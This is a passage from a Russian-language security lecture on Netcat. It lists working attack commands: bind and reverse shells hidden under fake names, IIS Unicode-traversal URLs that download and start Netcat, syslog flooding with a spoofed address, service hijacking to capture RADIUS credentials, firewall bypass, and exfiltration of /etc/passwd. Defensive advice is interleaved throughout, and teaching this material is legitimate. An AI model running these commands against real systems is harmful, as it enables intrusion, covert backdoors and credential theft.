  • -v определяет, насколько подробно программа информирует вас о том, что она делает. Если не использовать опцию -v, Netcat выдает только принятую информацию. Если опция -v использована один раз, вы сможете узнать, с каким адресом произошло соединение или какой адрес отслеживается в случае, если возникли какие-то проблемы. Повторное использование опции позволит узнать, какое количество данных было послано или принято до завершения соединения.
  • -w <seconds> определяет промежуток времени, в течение которого Netcat ждет соединения. Этот параметр также сообщает, как долго следует ожидать после получения сигнала EOF (конец файла) на стандартный вход перед разрывом соединения и завершением работы. Это особенно важно, если вы посылаете команды удаленному серверу с использованием Netcat и ожидаете получить большой объем информации (к примеру, посылая веб-серверу HTTP команду на загрузку большого файла).
  • -z. Если вы беспокоитесь только о том, чтобы определить, какой из портов открыт, вам следует использовать nmap (см. лекцию "Сканеры портов"). Но эта опция сообщает Netcat о необходимости послать достаточно данных для поиска открытых портов в заданном диапазоне значений.
  • Теперь, когда у вас появилось представление о возможностях Netcat, познакомьтесь с несколькими примерами использования этой программы в реальной жизни.

    101 способ использовать Netcat

    Люди нашли сотни способов использования Netcat в решении ежедневных задач. Многие из этих задач похожи, отличаясь лишь незначительными деталями. Мы постарались привести некоторые из них, наиболее общие и охватывающие большее число возможностей применения программы. Здесь приведены наиболее важные с нашей точки зрения способы применения Netcat.

    Получение удаленного доступа к командной оболочке

    Хотели бы вы получить доступ к командной строке MS-DOS домашнего компьютера из любой точки земного шара? Запустив команду nc.exe -l -p 4455 -e cmd.exe из командной строки MS-DOS на NT или Windows 2000, любой присоединившийся с помощью telnet к порту 4455 на этом компьютере получит в свое распоряжение DOS-оболочку, без необходимости вводить идентификатор и пароль.

    [root@originix /root]# telnet 192.168.1.101 4455
    Trying 192.168.1.101 :
    Connected to 192.168.1.101
    Escape character is '^]'.
    Microsoft Windows 2000 [Version 5.00.2195]
    (c) Copyright 1985-2000 Microsoft Corp.
    C:\>
    Connection closed by foreign host.
    [root@originix /root]#

    Неплохо сделано! Это к тому же выглядит страшновато. Приложив незначительные усилия, вы получили доступ к командной строке системы. Конечно, в Windows 2000 или NT у вас будут такие же привилегии, как у пользователя, запустившего Netcat. Но такой способ проникновения в Windows 95 и 98 (используя command.com вместо cmd.exe ) позволит вам управлять всей машиной без ограничений. Этот пример демонстрирует, насколько может быть опасен Netcat в чужих руках.

    Примечание. Netcat демонстрирует чрезвычайно неустойчивую работу под управлением Windows 95 и 98, особенно после многократного запуска.

    Попробуем что-нибудь сделать с помощью этой команды. Имейте в виду, что Netcat по умолчанию выполняется внутри того окна DOS, в котором запускается. Это означает, что окно управления командной строкой должно оставаться открытым все время, пока работает Netcat. Использование опции -d для отсоединения от командной строки должно позволить выполняться программе даже после того, как окно поддержки командной строки будет закрыто.

    C:\> nc.exe -l -p 4455 -d -e cmd.exe

    Это делает работу по маскировке "черного хода", созданного с использованием Netcat, более качественной. Однако если кто-нибудь соединится с портом 4455 с помощью telnet, то, как только клиент разорвет соединение, Netcat выполнит команду и прекратит "прослушивание". Используйте опцию -L вместо -l, чтобы сохранить режим прослушивания после того, как первое соединение будет завершено.

    C:\> nc.exe -p 4455 -d -L -e cmd.exe

    Это позволяет взломщику возвращаться в систему до тех пор, пока системный администратор не обнаружит работающую программу ( nc.exe ) в списке выполняющихся задач. Взломщик, правда, может подумать и об этом и переименовать nc.exe как-нибудь так:

    C:\>move nc.exe c:\Windows\System32\Drivers\update.exe
    C:\>Windows\System32\Drivers\update.exe -p 4455 -d -L -e cmd.exe

    Системный администратор может не обратить внимания на файл update.exe - это может быть все, что угодно. Взломщик также может скрыть командную строку. Еще одной возможностью Netcat является то, что если вы запускаете его без опций в командной строке, то программа ожидает получения командной строки в первой строчке стандартного ввода.

    C:\>Windows\System32\Drivers\update.exe 
    Cmd line: -p 4455 -d -L -e cmd.exe
    C:\>

    Теперь, если системный администратор выполнит команду netstat -a -n в командной строке, то сможет заметить, что нечто выполняется на ранее незанятом порту, присоединиться к порту с использованием telnet и раскрыть фокус. Однако Windows использует множество случайных портов по разному поводу, и вывод программы netstat потребует много времени для анализа, особенно в интенсивно используемой системе.

    Взломщик может пытаться использовать различные возможности. Если он, к примеру, проник через сервер Citrix, получил доступ к большому числу пользователей, которые бродили по интернету, то сможет увидеть большое количество запросов к системе DNS (Domain Name System) и интернет-соединений. Выполненная команда netstat -a -n показала бы много исходящих TCP-соединений по 80 порту. Вместо того чтобы запускать экземпляр Netcat на прослушивание на Windows машине и ожидать соединения, Netcat может перенаправлять входной и выходной потоки программы cmd.exe другому экземпляру Netcat, выполняющемуся на другой машине и прослушивающему 80 порт. В этом случае взломщик захочет выполнить следующее:

    [root@originix/root]# nc -l -p 80

    На Windows-машине взломщик естественно пожелает скрыть присутствие Netcat следующим образом:

    C:\>mkdir c:\Windows\System32\Drivers\q
    C:\>move nc.exe c:\Windows\System32\Drivers\q\iexplore.exe
    C:\>cd c:\Windows\System32\Drivers\q
    c:\Windows\System32\Drivers\q>iexplore.exe
    Cmd line -d -e cmd.exe originix 80
    c:\Windows\System32\Drivers\q>

    Теперь Netcat в режиме "прослушивания" должен контролировать командный интерпретатор на Windows машине. Такой подход поможет лучше выполнить работу по маскировке "черного хода" от системного администратора. На первый взгляд соединение будет выглядеть всего лишь, как безобидное HTTP-соединение интернет-броузера. Взломщика может расстраивать только то, что после завершения работы командного интерпретатора у него нет никаких способов перезапустить процесс на Windows машине.

    Есть несколько способов, с помощью которых системный администратор может обнаружить проникновение с использованием Netcat.

  • Использовать утилиту поиска файлов Windows для поиска файлов, содержащих строки " listen mode ", или " inbound connection ". Любой из найденных исполняемых модулей может оказаться программой Netcat.
  • Проверять список активных процессов на предмет поиска любых непонятно зачем выполняемых файлов cmd.exe. За исключением случаев, когда взломщик переименовал cmd.exe, вы сможете поймать его на использовании удаленного выполнения команд, поскольку cmd.exe будет выполняться так, что вы не сможете получить к нему доступ.
  • Использовать команду netstat ("Системные средства с открытым программным кодом: основы") или fprot (лекции "Компоновка и использование набора инструментов для расследования хакерских атак, то есть для "живого ответа" в системе Windows"), чтобы увидеть, какие порты используются в настоящее время и какие приложения их используют. Тем не менее, будьте осторожны с использованием netstat. Netstat может быть легко заменен его "троянской" версией, специально созданной взломщиком для скрытия своей деятельности. Netstat также иногда не сообщает о прослушивании TCP-сокетов до тех пор, пока кто-нибудь не соединится с ним.
  • Сейчас вы познакомились с двумя способами получения удаленного доступа к программному интерпретатору Windows-машины. Очевидно, на успех операции могут повлиять брандмауэры, фильтрация портов, прокси-серверы, которые фактически осуществляют фильтрацию заголовков HTTP-пакетов.

    К использованию этих двух способов подталкивала уязвимость двух компонент популярного web-сервера Internet Information Server (IIS) 4.0 - Microsoft Data Access Components (MDAC) и кодировки Unicode. Способов много, но во всех случаях используются те прорехи в безопасности, которые позволяют выполнять команды на машине под видом пользователя IIS, обращаясь к нему со специально созданными URL. Этот метод могут использовать программы типа TFTP (Trivial File Transfer Protocol), если таковые установлены на машине, загружая модуль nc.exe с удаленной машины и выполняя одну из команд для организации черного хода. Ниже приведен пример такой URL-строки, которая позволяет использовать TFTP для скачивания Netcat с удаленной машины, "благодаря" уязвимости Unicode-кодировки.

    http://10.10.0.1/scripts/%c1%pc/../winnt/system32/cmd.exe?/
    c+tftp%20-i%20originix%20GET%20nc.exe%20update.exe

    Если повезет, эта команда позволит скачать Netcat на хост с адресом 10.10.0.1 в директорию Inetpub\Scripts под именем update.exe. Затем взломщик сможет запустить Netcat, используя другую строку URL.

    http://10.10.0.1/scripts/%c1%pc/../inetpup/scripts/
    update.exe?-l%20-d%20-L%20-p%20443%20-e%20cmd.exe
    Примечание. В приведенных выше строках URL web-сервер воспринимает комбинацию символов %20 как пробел.

    Соединение с портом 443 по протоколу Telnet позволяет исполнять команды на удаленной машине. Это весьма простой и эффективный способ атаки удаленной машины, и к тому же он может быть автоматизирован. Однако этот вид атаки оставляет следы. Во-первых, все URL-запросы, которые были использованы, сохраняются в системном журнале IIS. Просматривая журнал на предмет наличия в нем строк, содержащих комбинацию символов tftp, вы можете обнаружить момент, когда кто-то пытался провести такую атаку. К тому же, большинство текущих версий IDS могут просматривать содержимое строк URL, форматированных аналогичным образом (к примеру, на предмет включения в них строк cmd.exe или спецсимволов Unicode).

    Вы можете предупредить такие атаки.

  • Убедитесь, что ваш IIS выполняется с использованием обновленной версии системы безопасности.
  • Заблокируйте соединения, исходящие с вашего сервера, настройками брандмауэра. В большинстве случаев ваш web-сервер не нуждается в установке соединений с внешним миром. Даже если ваша версия IIS уязвима, действие TFTP бесполезно из-за невозможности ответного соединения.
  • Незаметное сканирование портов

    Поскольку Netcat может опрашивать диапазон портов, вероятно использование его для их сканирования. Вы сразу захотите установить соединение с большим количеством портов на контролируемом хосте.

    [root@originix nc]#./nc target 20-80

    Но это не сработает. Запомните, что Netcat не предназначен специально для сканирования портов. В указанной ситуации Netcat соединится с 80-м портом, и будет пытаться установить TCP-соединение до тех пор, пока не дождется ответа. Как только по этому порту придет ответ, Netcat будет ожидать получения информации по стандартному входу, установленному перед соединением. Это не совсем то, чего вы добивались.

    Решением будет опция -z. Эта опция указывает программе на необходимость передать минимальное количество данных для получения ответа от открытого порта. Используя эту опцию, не следует ожидать от Netcat получения каких-либо данных на вход или ждать вывода какой либо информации (таким образом вы заставите перейти программу в режим "нулевого ввода/вывода"). Поскольку опция -v дает возможность получать более подробную информацию о работе программы, вы можете использовать ее для просмотра результатов сканирования портов. Иначе вы ничего не увидите.

    [root@originix nc]#./nc -z 192.168.1.100 20-80
    [root@originix nc]#./nc -v -z 192.168.1.100 20-80
    originix [192.168.1.100] 80 (www) open
    originix [192.168.1.100] 23 (telnet) open
    originix [192.168.1.100] 22 (ssh) open
    originix [192.168.1.100] 21 (ftp) open
    [root@originix nc]#

    Использовав опцию -v, вы увидите, что несколько наиболее очевидных сервисов работают в заданном промежутке номеров TCP-портов. Как это будет выглядеть в системном журнале?

    Feb 12 03:50:23 originix sshd[21690]: Did not receive 
       ident string from 192.168.0.105
    Feb 12 03:50:23 originix telnetd[21689]: ttloop: read: Broken pipe
    Feb 12 03:50:23 originix ftpd[21691]: FTP session closed

    Обратите внимание, что все эти события произошли в одно время и с увеличивающимися идентификаторами процессов (от 21689 до 21691). Представьте, если бы вы сканировали больший интервал портов. Вы получили бы существенно больший объем вывода. К тому же некоторые службы, такие, как sshd, ведут себя весьма молчаливо по отношению к сканерам IP-адресов.

    Всякий раз, когда вы делаете попытку сканирования портов, по которым ничего не проходит, в большинстве сетей есть системы обнаружения попыток вторжения, которые немедленно отмечают этот вид активности в сети и сообщают об этом системному администратору. Некоторые брандмауэры могут автоматически блокировать IP-адрес, если от него за короткий промежуток времени исходит большое количество запросов на соединение.

    Netcat позволяет производить сканирование достаточно незаметно. Вы можете использовать опцию -i и задать интервал для попыток соединения. Использование опции -r для задания случайной последовательности сканирования портов из выбранного интервала также поможет замаскировать вашу деятельность по сканированию портов.

    ./nc -v -z -r -i 42 192.168.1.100 20-80

    Эта командная строка определяет случайную последовательность выбора портов и задает интервал в 42 секунды между попытками соединения. Это введет в заблуждение любые автоматические средства защиты, но свидетельства попыток сканирования все равно останутся в системном журнале исследуемого хоста; правда в более разбросанном виде.

    Совет. Сканирование UDP-портов проблематично. Netcat опирается на получение сообщений об ошибках от ICMP (Internet Control Message Protocol) для того чтобы определить - открыт или закрыт UDP-порт. Если ICMP блокирован брандмауэром или фильтром, то Netcat может выдать ложное сообщение о том, что закрытый UDP-порт якобы открыт.

    Netcat - не самый подходящий инструмент для сканирования портов. Поскольку он может использоваться для решения общих задач значительно лучше, чем для решения конкретных, возможно, вам следует использовать для сканирования инструмент, созданный специально для этого.

    Совет. Если вы, при попытке сканирования с помощью Netcat, получили сообщение об ошибке в отношении адреса, который уже используется, возможно, вам необходимо зафиксировать Netcat для использования с конкретным IP-адресом и конкретным портом (используя опции -p -s ). Выберите порт, о котором известно, что его можно использовать (только пользователь root может использовать порты с номерами меньше чем 1024) и это ничем не ограничено.

    Идентифицируйте себя, и службы расскажут о себе все

    Использовав Netcat или специально предназначенную для сканирования портов программу (вроде nmap, см. лекцию "Сканеры портов") для определения, какие порты в системе открыты, вы можете получить более подробную информацию об этих портах. Обычно это можно сделать, подключившись к порту; служба немедленно сообщит вам номер версии, экземпляр и, возможно, сведения об управляющей операционной системе. В результате вы получите возможность использовать Netcat для сканирования определенного интервала портов и получения сведений о работающих службах.

    Имейте в виду, что, используя Netcat в автоматическом режиме, вы не сможете вводить команды в командной строке, поскольку программа не ожидает ввода информации от пользователя на стандартный ввод. Если вы просто запустите на выполнение команду nc 192.168.1.100 20-80, вы не сможете ничего узнать, поскольку программа остановится на первом же установленном соединении (возможно, это будет web-сервер, прослушивающий 80 порт) и затем будет ожидать, когда вы что-либо сделаете. Так что вам понадобится вычислить, что подавать на вход всем этим службам, чтобы вынудить их сообщить нам о себе нечто большее. Как только вы это сделаете, передав службе команду QUIT и внеся путаницу, информация посыплется на вас, как бобы из корзинки.

    [root@originix nc]#echo QUIT | ./nc -v 192.168.1.100 21 22 80 
    originix [192.168.1.100] 21 (ftp) open
    220 originix FTP server (Version wu-2.5.0(1) 
      Tue Sep 21 16:48:12 EDT 1999) ready.
    221 Goodbye
    originix [192.168.1.100] 22 (ssh) open
    SSH-2.0-OpenSSH_2.3.0p1
    Protocol mismatch.
    originix [192.168.1.100] 80 (www) open
    <!Doctype HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
    <HTML><HEAD>
    <TITLE>501 Method Not Implemented</TITLE>
    </HEAD><BODY>
    <H1>Method Not Implemented</H1>
    QUIT to /index.html not supported.<P>
    Invalid method in request QUIT<P>
    <HR>
    <ADDRESS>Apache/1.3.14 Server at 127.0.01 Port 80</ADDRESS>
    </BODY></HTML>
    [root@originix nc]#
    Совет. Помните, что когда вы автоматически подключаетесь к нескольким портам, используйте опцию -v, чтобы можно было отделить вывод сообщений одной службы от другой. Также, если вы используете автоматическое соединение с несколькими портами, один из которых telnet-сервер, вам следует использовать опцию -t, чтобы пропустить передаваемую двоичную информацию (следствие взаимодействия telnet-сервера с клиентом). Обычно хорошим выходом является пропустить 23 порт и работать с ним отдельно.

    Полученный результат не слишком красив, но мы узнали о версиях трех работающих служб. Взломщик может использовать информацию для поиска версий, имеющих слабые места (http://www.securityfocus.com/ - прекрасное место для поиска информации о слабых местах разных версий программ). Взломщик, который нашел привлекательный с его точки зрения порт, может попытаться получить больше информации о нем, сосредоточившись на исследовании этой службы и попытавшись говорить на ее языке.

    Сосредоточимся на web-сервере Apache. QUIT - команда, которую протокол HTTP не понимает. Попытаемся сказать что-нибудь более подходящее.

    [root@originix nc]#./nc -v 192.168.1.100 80 
    originix [192.168.1.100] 80 (www) open
    GET / HTTP
    HTTP/1.1 200 OK
    Date% Tue, 12 Feb 2002, 09:43:07 GMT
    Server: Apache/1.3.14 (Unix) (Red-Hat/Linux)
    Last Modified: Sat, 05 Aug 2000 04:39:51 GMT
    Etag: "3a107-24-398b9a97"
    Accept-Ranges: bytes
    Content-Length: 36
    Connection: Close
    Contebt-Type: text/html
    I don't think you mean to go here.
    [root@originix nc]#

    Какая прелесть! Мы сказали коротенькую HTTP-фразу (набрав команду GET/HTTP и затем дважды нажав клавишу Enter) и Apache ответил. Он показал нам корневой файл index.html и все HTTP заголовки в нетронутом виде без преобразований, которые обычно выполняют браузеры на прикладном уровне. Заголовки сервера сообщили нам не только то, что мы имеем дело с сервером Apache на Unix-машине, но и то, что это машина находится под управлением Red-Hat.

    Совет. Чтобы ввести в заблуждение взломщика, системный администратор может изменить эту информацию. Это не так просто, но неизменно приводит взломщиков в изумление, если, конечно, они доверяют получаемой информации.

    Взаимодействие с UDP-службами

    Мы уже упоминали, что иногда Netcat используется в качестве слегка улучшенного Telnet-клиента. Несмотря на то, что многие вещи, которые делаются с помощью Netcat (вроде общения напрямую с HTTP-сервером), можно выполнять и с помощью telnet, у него есть некоторые ограничения, которых нет у Netcat. Во-первых, telnet не может корректно передавать двоичную информацию. Некоторые такие данные интерпретируются telnet, как команды. Следовательно, telnet не может корректно передавать поток данных транспортного уровня. Во-вторых, telnet закрывает соединение, как только он встретит во входном потоке символ EOF. Netcat может оставаться открытым до тех пор, пока соединение не будет закрыто извне, что часто используется для написания скриптов инициирующих соединение для ожидания большого объема передаваемых данных, которые посылаются одной строкой. Однако, вероятно наилучшей возможностью Netcat, по сравнению с telnet, является его способность взаимодействовать по протоколу UDP.

    Рискнем запустить демона для ведения системного журнала на вашей Unix-машине - хорошо? Если он сконфигурирован для получения сообщений от других хостов в сети, то вы увидите что-то на 514 UDP-порту, если воспользуетесь командой netstat -a -n. (Если не можете, посмотрите соответствующие man -страницы, чтобы узнать, как запустить syslog в сетевом режиме).

    Один из способов определить, принимает ли syslog UDP-пакеты, это попробовать следующую команду и посмотреть, что будет отражаться в журнале.

    [root@originix nc]# echo "<0> I can speak syslog" | 
      ./nc -u 192.168.1.100 514
    Message from syslog@originix ar Tue Feb 12 06:07:48 2002 :
    originix I can speak syslog
    punt!
    [root@originix nc]#

    Символы <0> указывают на наивысший уровень журнализации, kern.emerg, гарантирующий, что это сообщение должно быть записано где-то в системе (см. файл /etc/syslog.conf, чтобы точно знать, где). И если вы проверите журнал сообщений ядра, то сможете увидеть что-то вроде этого:

    Feb 12 06:00:22 originix kernel: Symbols mathc 
      kernel version 2.2.12.
    Feb 12 06:00:22 originix kernel: Load 18 symbols from 5 modules.
    Feb 12 06:00:22 originix I can speak syslog
    Совет. Если вы запустили UDP-сессию для Netcat и передали что-то на вход, а после нажатия клавиши Enter Netcat немедленно закончил работу, проверьте, не занят ли используемый вами UDP-порт.

    Это отличный способ убедится в том, что удаленные UDP-серверы работают. И если кто-то запустит syslog с неограниченными правами, он откроет себя для весьма простых атак, с помощью которых можно заполнить все свободное дисковое пространство, занять всю полосу пропускания и полностью исчерпать ресурс центрального процессора.

    [root@originix nc]# yes "<20>blahblahblahblahblah" | 
      nc -s 10.0.0.1 -u targethost 514

    Команда yes выводит строку (представленную в командной строке) еще и еще до тех пор, пока процесс не будет снят. Таким образом, можно затопить системный журнал на атакуемом хосте потоком бессмысленной чепухи "blahblahblahblahblah". Атакующий может также использовать липовый IP-адрес (-s 10.0.0.1), поскольку ответы syslog-демона не имеют никакого значения.

    Совет. Если вы страдаете от такого рода атак, то большинство используемых в настоящее время syslog -демонов имеют опцию командной строки ( FreeBSD использует -a ) для ограничения хостов, которые могут посылать сообщения. Вместо того чтобы получать сообщения от хоста, внесенного в такой список, syslog будет их игнорировать. Однако, поскольку Netcat может без труда подменить IP-адреса и в этом случае, то атакующий может воспользоваться разрешенным IP-адресом из вашего списка и использовать его в качестве обратного адреса. Блокирование входящего syslog-трафика с использованием брандмауэра следует в данном случае считать наилучшим решением.

    Создайте друга: подмена IP-адресов

    Подмена IP-адресов сродни волшебству. Вы можете часто слышать, - "Как мы можем знать, настоящий ли этот IP-адрес? Что, если он подменил его?" На самом деле, подменить IP-адрес не так-то легко.

    Возможно, следует перефразировать сказанное. Подмена IP-адресов - дело простое. Брандмауэры, которые осуществляют маскировку или трансляцию сетевых адресов ( NAT ), подменяют IP-адреса на постоянной основе. Эти устройства могут получать пакеты от внутренних IP-адресов, заменять исходные IP-адреса в пакетах на свой собственный адрес, посылать их вовне и отменять модификацию, когда получают данные назад извне. Таким образом менять содержание исходных IP-адресов в IP-пакетах достаточно просто. Что на самом деле сложно, так это иметь возможность получать ответ, посланный на подменный IP-адрес.

    В Netcat есть опция -s, позволяющая определить тот IP-адрес, который нужно. Некто имеет возможность начать сканирование портов и использовать опцию -s, подстроив дело так, будто сканирование ведет компания Microsoft или Федеральное Бюро Расследований. Проблема возникает, однако, если вы в действительности хотите получить ответ от сканируемых портов на реальный IP-адрес. Поскольку исследуемый хост получает запросы от фирмы Microsoft, к примеру, он будет посылать уведомления о получении на тот же IP-адрес Microsoft. IP, конечно, не имеет представления, о чем сообщает ему исследуемый хост и пошлет ему отказ в соединении. Как добиться возврата информации на реальный IP-адрес, не опасаясь попасться?

    Помочь взломать машину может также опция, определяющая порядок маршрутизации. Порядок маршрутизации позволяет сетевым приложениям определить маршрут, по которому вы хотели бы достичь конечной точки.

    Порядку маршрутизации присущи две вещи: строгость и неопределенность. Строгость порядка маршрутизации означает, что в пакете должны определяться все закоулки определенного маршрута до конечного хоста. Некоторые маршрутизаторы и сетевые устройства пока позволяют строгий порядок маршрутизации, а некоторые должны позволять неопределенный порядок маршрутизации. Неопределенный порядок маршрутизации сообщает маршрутизаторам и сетевым устройствам, что они могут определять маршрут до конечной точки самостоятельно, но при этом пакеты обязательно должны пройти через определенный набор маршрутизаторов на пути к конечной точке. Это представляет определенную опасность, поскольку позволяет взломщику пересылать пакеты через машину, которую он контролирует (возможно, это машина изменяет IP-адреса входящих пакетов на что-нибудь еще). Когда ответ возвращается, он проходит по тому же самому нестрогому маршруту и приходит обратно через ту же машину (которая восстанавливает истинный IP-адрес). Благодаря этому способу задания порядка маршрутизации, возникает возможность атакующему подменить IP-адрес и при этом получить ответ от атакуемой машины. Большинство маршрутизаторов игнорируют параметры порядка маршрутизации, но не все. Опция -g Netcat позволяет определить до 8 точек, которые должен пройти пакет до того момента, как попадет в конечную точку. К примеру, команда

    nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 10.10.9.50 23

    определяет telnet соединение по 23 порту с адресом 10.10.9.50, но если опция порядка маршрутизации включена на промежуточных маршрутизаторах, то трафик будет принудительно маршрутизироваться через четыре указанных адреса, прежде чем достигнет конечной точки. Если мы попытаемся выполнить команду

    nc -g 10.10.4.5 -g 10.10.5.8 -g 10.10.7.4 -g 10.10.9.9 -G 12 10.10.9.50 23

    , то определим точку для прохода трафика с использованием параметра -G. Параметр -G устанавливает значение в n байт (в данном случае двенадцать), и поскольку IP-адреса занимают каждый по 4 байта, точка входа устанавливается на адрес 10.10.7.4. Таким образом, на пути к машине 10.10.9.50, трафик должен пройти только через последние две машины (так как в соответствии с установками мы уже пропустили первые две). Тем не менее, на обратном пути пакет должен пройти через все четыре машины.

    Если ваши маршрутизаторы и сетевые устройства не могут быть настроены так, чтобы игнорировать заданный порядок маршрутизации, следует надеяться, что ваша система обнаружения вторжений ( IDS ) сохранит вас от них (коротко IDS мы рассмотрим в лекции "Анализаторы сетевых потоков (Sniffer)"). Любой, кто может запустить анализатор трафика вроде Ethereal, может легко обнаружить факт использования задания порядка маршрутизации, поскольку раздел параметров в IP-заголовке будет больше обычного, и IP-адреса в списке маршрутизации будут хорошо видны, если воспользоваться ASCII-декодером. Если это важно для системного администратора, он может проследить хозяина каждого IP-адреса в списке, чтобы найти преступника.

    Захват службы

    Перейдите к системному журналу в вашей любимой операционной системе и запустите команду netstat -a -n. Посмотрите на первые строчки вывода. Вы увидите нечто подобное этому.

    Proto   Recv-Q  Send-Q  LocalAddress    ForeignAddress  (state)
    tcp4    0   0   *.6000  *.* LISTEN
    tcp4    0   0   *.80    *.* LISTEN
    tcp4    0   0   *.22    *.* LISTEN
    tcp4    0   0   *.23    *.* LISTEN
    tcp4    0   0   *.21    *.* LISTEN
    tcp4    0   0   *.512   *.* LISTEN
    tcp4    0   0   *.513   *.* LISTEN
    tcp4    0   0   *.514   *.* LISTEN

    Последние три строчки - это удаленные службы ( rlogin, rexec, и т.д.), которые могут стать отличной находкой для взломщика, поскольку они незащищены. Вы также можете обратить внимание, что запущены службы telnet, FTP, X Windows, Web, и SSH. Что еще можно узнать? Обратите внимание на символ * у каждой из служб в локальном адресе. Это означает, что все эти службы не ограничены работой с конкретным IP-адресом. Ну и что?

    Как оказалось, многие IP-клиенты, пытаясь соединиться со службой по конкретному IP-адресу, предварительно прослушивают все IP-адреса. Попытайтесь выполнить следующую команду.

    [root@originix nc] ./nc -l -v -s 192.168.1.102 -p 6000

    Теперь запустите на выполнение еще один экземпляр netstat. Вы увидите следующее.

    Proto   Recv-Q  Send-Q  LocalAddress    ForeignAddress  (state)
    tcp4    0   0   192.168.1.102.6000  *.* LISTEN
    tcp4    0   0   *.6000  *.* LISTEN

    Посмотрите! Вы теперь прослушиваете порт перед X-сервером. Если вы имеете доступ к компьютеру, как пользователь root, вы можете прослушивать порты с номерами менее 1024 и перехватывать такие сервисы, как telnet, Web и другие ресурсы. Но особенно интересны приложения для аутентификации, совместного использования файлов и другие, которые используют большие по номерам порты. Постоянные пользователи вашей системы могут, к примеру, перехватить RADIUS -сервер (который обычно выполняется на порту UDP с номером 1645 или 1812) и запустить команду Netcat с опцией -o для получения шестнадцатеричных протоколов всех попыток аутентификации. Они всего лишь перехватят все пользовательские имена и пароли, не имея при этом полномочий пользователя root. Конечно, пользователи довольно быстро поймут, что служба не отвечает, и "подрывная" деятельность будет раскрыта. Но если пираты хоть что-то знают о службе, которую они перехватили, они могут изобразить псевдослужбу (выдавая поддельные ответы на запрос) или перенаправить запросы на какую-нибудь еще службу.

    [root@originix nc] ./nc -l -v -s 192.168.1.102 -p 1812 -e nc_to_radius

    где nc_to_radius - это скрипт, который выглядит примерно так:

    #!bin/sh
    DATE='date "+%Y-%m-%d_%H.%M.%S"'
    /usr/bin/nc -o hexlog-$DATE slave-radius 1812

    slave-radius в данном случае имя хоста вторичного RADIUS -сервера в сети. Запуск Netcat на прослушивание таким образом, чтобы он перезапускался после каждого соединения, дает теоретическую возможность перехватить всю информацию, передаваемую в процессе аутентификации (сохранив все в отдельных файлах) и при этом уберечься от того, чтобы кто-нибудь сразу понял, что что-то не так. Этот прием просто записывает информацию в процессе передачи ее на резервный RADIUS -сервер. Может, и не просто заставить это работать, но все же возможно.

    Совет. Приведенный выше прием не обязательно работает на всех операционных системах или версиях ядра, поскольку многие из них не имеют этой лазейки в реализации сокетов. Обычно, чтобы понять, где работает этот прием, требуется тестирование системы. К примеру, у нас не получилось выполнить этот фокус на машине под управлением RedHat Linux 6.1 с установленным по умолчанию ядром версии 2.2.12. Перехват служб отлично работает в FreeBSD 4.3-BETA, но только при наличии полномочий пользователя root.

    Прокси и релей

    Вы можете использовать тот же самый прием, что и в предыдущем разделе, для создания прокси или релея на базе Netcat. Netcat в режиме прослушивания может быть использован для запуска вторичного Netcat -соединения, соединенного с другим хостом или портом, осуществляя тем самым релей.

    Использование этой возможности требует некоторых навыков написания скриптов. Поскольку с помощью опции -e Netcat может выполнить только одну команду (без аргумента в командной строке), вам потребуется упаковать все команды, которые вы хотите выполнить, в скрипт. С помощью такого подхода вы можете сделать интересную штуку, создав релей, который охватывает несколько разных хостов. Этот прием можно использовать для создания сложного "туннеля", давая возможность взломщикам осложнить выслеживание их системным администратором.

    Эта возможность с таким же успехом может быть использована в благих целях. Возможность релея позволяет использовать Netcat, как прокси для web-страниц. Запустите его на прослушивание 80-го порта на другой машине и дайте возможность осуществлять все ваши web-соединения (используя скрипт) и передавать их далее.

    Вокруг сетевых фильтров

    Netcat может использоваться для проникновения через брандмауэры. Маскировка запрещенного сетевого трафика под разрешенный - единственный способ обойти брандмауэры или фильтры портов.

    Некоторые брандмауэры разрешают входящий трафик от источника по 20 порту, который во внутренней сети передается адресату по более высоким номерам портов для обеспечения передачи файлов по FTP. Атака с использованием команды

    nc -p 20 targethost 6000

    позволит обеспечить доступ к X-серверу на хосте targethost, если брандмауэр плохо сконфигурирован. Таким способом можно имитировать ваше соединение как входящий FTP-запрос и проникнуть внутрь. Конечно, вы сможете получить доступ только к определенному подмножеству портов. Большинство администраторов брандмауэров исключают порт с номером 6000 из числа доступных портов, но вы по-прежнему можете искать другие службы, работающие на портах с номерами больше 1024, которые ответят на входящий запрос по порту с номером 20.

    Подобные проблемы есть и у службы DNS. Практически все брандмауэры разрешают исходящие запросы DNS, но не обязательно разрешают входящие. Если вы работаете за брандмауэром, который разрешает и то и другое, вы можете использовать это, чтобы направить запрещенный трафик через брандмауэр, используя исходящий номер порта 53. Из-за брандмауэра, запустив команду

    nc -p 53 targethost 9898

    , вы сможете пройти фильтр, который обычно запрещает исходящий трафик персонального менеджера сообщений сети AOL (AOL Instant Messenger). Этим можно удовлетвориться, но вы можете увидеть, как с помощью Netcat можно воспользоваться плохо написанными правилами для брандмауэра.

    Системные администраторы могут захотеть проверить промахи вроде этих. Для начала, вы запрещаете любой DNS- TCP -трафик, что позволяет закрыть многие проблемы с фильтрацией DNS. Заставляя пользователей использовать пассивный FTP, который не требует сервера для инициализации TCP-соединения с клиентом по порту с номером 20, вы полностью исключаете возможность проникновения в систему описанным выше способом.

    Создание конвейеров данных: создай собственный FTP

    Netcat позволяет создавать конвейеры данных. Какую выгоду можно извлечь из этой возможности?

    Передача данных через фильтры. Подав входной и выходной файлы на оба конца конвейера, вы можете пересылать или копировать файлы из одной сети в другую, не используя никаких "официальных" протоколов передачи файлов. Если у вас есть доступ к программному интерпретатору на компьютере, но нет возможности запустить какой либо способ передачи файлов из-за того, что с использованием фильтров заблокированы возможности FTP, NFS (Network File System), или Samba, у вас есть выбор.

    На стороне, где находится исходный файл, запустите команду:

    nc -l -u -p 55555 < file_we_want

    А на стороне клиента попытайтесь выполнить:

    nc -u -targethost 55555 > copy_of_file

    Осуществив соединение, можно немедленно передать файл. Закончив передачу с помощью команды EOF (CTRL-C), вы получите свой файл в целости и сохранности.

    Скрытая передача файлов. Взломщики могут использовать Netcat для передачи файлов вовне системы, не используя для этого способы, доступные для контроля. В то время как использование FTP или Secure copy (scp) оставляет следы в системном журнале, Netcat - нет.

    nc -l -u -p 55555 < /etc/passwd

    Когда взломщик соединяется с этим UDP-портом, то похищает файл /etc/passwd, не оставляя никаких следов (исключая случай, когда в тот же момент системный администратор выполнит команду ps (статистика выполняемых процессов) или команду netstat ).

